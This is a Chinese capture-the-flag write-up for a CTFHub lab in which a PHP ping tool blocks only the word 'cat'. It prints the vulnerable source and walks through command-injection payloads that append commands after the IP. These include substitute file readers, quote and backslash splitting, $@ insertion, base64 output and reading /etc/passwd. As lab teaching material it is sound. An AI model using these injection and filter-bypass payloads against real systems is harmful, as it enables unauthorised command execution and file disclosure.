CTFHub RCE通关笔记7:命令注入 过滤cat(9种渗透方法)
目录
一、源码分析
1、访问靶场
2、代码审计
3、安全分析
(1)隐患根源
(2)绕过方式
① 使用其他命令替代 cat
② 使用编码或变形绕过
二、渗透实战
(1)查看当前目录
(2)more替代cat方法
① 方法1:右键源码
② 方法2:bp抓包
③ 方法3:base64编码
(3)nl替代cat方法
(4)引号绕过方法
① 方法1:单引号绕过方法
第一种形式:127.0.0.1; c''at flag_16212884214657.php
第二种形式:127.0.0.1; c'a't flag_16212884214657.php
② 方法2:双引号绕过
第一种形式:127.0.0.1; c""at flag_16212884214657.php
第二种形式:127.0.0.1; c"at" flag_16212884214657.php
(5)shell特殊字符
本文讲解CTFHub的RCE-命令注入-cat绕过的原理和渗透实战,系统介绍了CTFHub中RCE命令注入中绕过cat过滤的多种方法。通过分析靶场代码,发现仅过滤cat命令存在安全隐患。演示了五种绕过方式:1)使用more、nl等替代命令;2)base64编码输出;3)单/双引号变形(如c'a't);4)特殊字符插入(如ca$@t);5)通过查看源码或抓包获取flag。文章详细展示了每种方法的payload构造和执行过程,强调了对用户输入严格验证的重要性。
一、源码分析
1、访问靶场
打开关卡如下所示,提示信息为“过滤了cat命令之后,你还有什么方法能读到 Flag?”,提示本关卡的功能是对cat进行关键字过滤。点击打开题目,此时系统自动创建Docker环境。
如上图所示,绿色链接即为靶场的网址,完整的URL地址具体如下所示。
http://challenge-69cd9f38985b328a.sandbox.ctfhub.com:10800/
开启burpsuite,firefox浏览器开启代理指向burpsuite。在浏览器中地址栏输入靶场的URL地址。访问URL进入到靶场首页。如下所示这是一个显示靶场源码的页面。这段PHP 代码的核心逻辑这是一个简单的网络诊断工具,通过 Web 接口提供 ping 功能,只不过过滤了关键字“cat”。
2、代码审计
接下来我们分析页面的源码信息,如下所示代码对GET方式传入的参数ip有过滤处理,过滤的关键字是“cat”,这与最初靶场中的提示一致。
<?php
$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/cat/", $ip, $m)) {$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>
很明显这段代码存在严重的安全隐患,虽然试图通过过滤"cat"来增加安全性,但过滤方式过于简单,很容易被绕过,可能导致命令注入攻击。攻击者可以通过构造特殊的ip
参数执行任意系统命令,例如:127.0.0.1; ls /
。在实际开发中,需要对用户输入进行严格验证和过滤,避免直接将用户输入用于系统命令。详细注释后的源代码如下所示。
<?php
// 初始化结果变量,用于存储命令执行结果或错误信息
$res = FALSE;// 检查是否通过GET方式传递了'ip'参数且该参数不为空
if (isset($_GET['ip']) && $_GET['ip']) {// 获取用户输入的IP地址$ip = $_GET['ip'];// 初始化数组,用于存储正则匹配的结果$m = [];// 关键过滤逻辑:使用正则表达式检查用户输入中是否包含"cat"字符串// preg_match_all 会返回匹配到的次数,如果找到"cat"则返回>0// !preg_match_all 表示:如果没有找到"cat"字符串if (!preg_match_all("/cat/", $ip, $m)) {// 如果输入中不包含"cat",构造ping命令// 注意:这里存在命令注入风险,用户输入直接拼接进系统命令$cmd = "ping -c 4 {$ip}";// 执行系统命令,将输出结果存入$res数组// 每行输出作为数组的一个元素exec($cmd, $res);} else {// 如果输入中包含"cat"字符串,将匹配结果存入$res// 这实际上是一种错误提示,会暴露过滤机制$res = $m;}
}
?>
3、安全分析
(1)隐患根源
代码试图通过正则表达式过滤掉包含 "cat" 字符串的输入,以防止命令注入攻击,但这种防护方式非常薄弱,存在明显的安全隐患。
- 代码接收 GET 参数
ip
,并尝试对其进行过滤 - 使用
preg_match_all("/cat/", $ip, $m)
检查输入中是否包含 "cat" - 如果不包含 "cat",则执行 ping 命令;如果包含,则返回匹配结果
这种过滤方式的问题在于:
- 只过滤了 "cat" 这一个特定字符串,而命令注入可以使用多种其他命令
- 没有对 IP 地址格式进行验证
- 没有对特殊字符(如
;
、&
、|
等)进行过滤 - 没有使用专门的命令转义函数
(2)绕过方式
① 使用其他命令替代 cat
攻击者可以使用其他命令来读取文件,如:
?ip=127.0.0.1; more /etc/passwd
?ip=127.0.0.1; less /etc/passwd
?ip=127.0.0.1; head /etc/passwd
?ip=127.0.0.1; tail /etc/passwd
绕过敏感命令cat
的过滤,通过其他能读取文件并输出到标准输出的命令 / 工具实现相同功能。
-
文本查看类
-
基础查看命令
nl file
:显示文件内容并添加行号tac file
:反向输出文件内容(与cat
相反,从最后一行开始)more file
:分页显示文件内容(支持按空格翻页)less file
:交互式查看文件(支持上下滚动、搜索)
-
行范围查看命令
head file
:显示文件前 10 行(默认),head -n 20 file
可指定行数tail file
:显示文件后 10 行(默认),tail -n 5 file
可指定行数sed -n '1,5p' file
:显示文件第 1-5 行(通过sed
筛选行)
-
-
编辑器类
-
正则 / 匹配工具
grep "" file
:通过匹配空字符串,间接输出所有行egrep "" file
:与grep
类似,支持扩展正则fgrep "" file
:固定字符串匹配,输出所有行
-
文本处理工具
awk '{print}' file
:通过awk
打印所有行sed '' file
:sed
不做任何处理,直接输出文件cut -f1 file
:提取列(默认按制表符分割),若不指定列则输出全行paste file
:合并文件内容,单个文件时直接输出
-
② 使用编码或变形绕过
如果过滤更严格,可以使用各种编码方式:
?ip=127.0.0.1; c""at /etc/passwd # 使用空字符串分割
?ip=127.0.0.1; c\at /etc/passwd # 使用反斜杠转义
二、渗透实战
(1)查看当前目录
输入127.0.0.1&ls命令查看当前目录,如下所示存在flag_16212884214657.php文件。
127.0.0.1&ls
(2)more替代cat方法
Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h。
① 方法1:右键源码
使用more命令查看文件内容,构造payload为127.0.0.1;more flag_16212884214657.php,具体如下所示。
127.0.0.1;more flag_16212884214657.php
在输入框内将Payload输入并点击ping,效果如下所示。
如上所示执行命令后页面并没有显示flag,通过右键查看源码可发现flag,如下所示。
② 方法2:bp抓包
本次使用bp抓包,执行的命令依旧是127.0.0.1&more flag_17631534730778.php,在burpsuite中找到这个报文,如下所示观察响应报文,发现flag,渗透成功。
③ 方法3:base64编码
本次用 more 查看指定 PHP 文件内容,并用 base64 对内容进行编码输出,; 和 | 为命令分隔符。构造Payload如下所示。
127.0.0.1;more flag_16212884214657.php|base64
分析页面显示内容,我们获得了flag的base64编码,其具体编码后的值如下所示。
PD9waHAgLy8gY3RmaHVie2I5NjBlMmU0NDA5YmQ3NjZiYjNhMjMzZH0K
使用hackbar中的编码器进行解密,选择encoding-base64 decode,具体效果如下所示。
解密后为<?php // ctfhub{b960e2e4409bd766bb3a233d},如下图所示渗透成。
(3)nl替代cat方法
nl 命令读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。 在输出中,nl 命令根据您在命令行中指定的标志来计算左边的行。 输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。
接下来举例,假设使用cat读取test.txt文件,效果如下所示。
cat test.txt
# 输出:
mooyuan
ljn
测试区别
那么使用nl test.txt查看test.txt文件的效果则如下所示,nl
在输出文件内容的同时,会自动为每行添加行号,且支持通过参数调整行号宽度、行号与内容的分隔符等格式,更便于定位具体行。
nl test.txt
# 输出:1 mooyuan2 ljn3 测试区别
使用nl命令替代cat:114.114.114.114;nl flag_116482515841.php
使用右键查看源代码,如下所示成功获取flag值。
(4)引号绕过方法
在Bash中,引号(单引号'
、双引号"
、反引号`
)的主要作用是分组和解析控制,而不是成为最终命令的一部分。Shell会在执行命令前先进行引号去除(Quote Removal) 处理。c"at"
、c'at'
最终都会变成 cat。
① 方法1:单引号绕过方法
Linux Bash的引号解析机制使得攻击者可以通过各种单引号变形来绕过简单的字符串过滤,构造如下Payload。
第一种形式:127.0.0.1; c''at flag_16212884214657.php
第二种形式:127.0.0.1; c'a't flag_16212884214657.php
② 方法2:双引号绕过
Linux Bash的引号解析机制使得攻击者可以通过各种双引号变形来绕过简单的字符串过滤,构造如下Payload。
第一种形式:127.0.0.1; c""at flag_16212884214657.php
第二种形式:127.0.0.1; c"at" flag_16212884214657.php
(5)shell特殊字符
利用Shell 特殊变量绕过,构建Payload为127.0.0.1; ca$@t flag_16212884214657.php|base64,具体如下所示。
127.0.0.1; ca$@t flag_16212884214657.php|base64
-
$@
是特殊shell参数:-
$@
扩展为所有位置参数,但在这种上下文中没有参数时,它扩展为空 -
ca$@t
→ca
+ ``(空) +t
=cat
-
对字符串PD9waHAgLy8gY3RmaHVie2I5NjBlMmU0NDA5YmQ3NjZiYjNhMjMzZH0K进行base64解码,解码后为<?php // ctfhub{b960e2e4409bd766bb3a233d},成功获取flag值。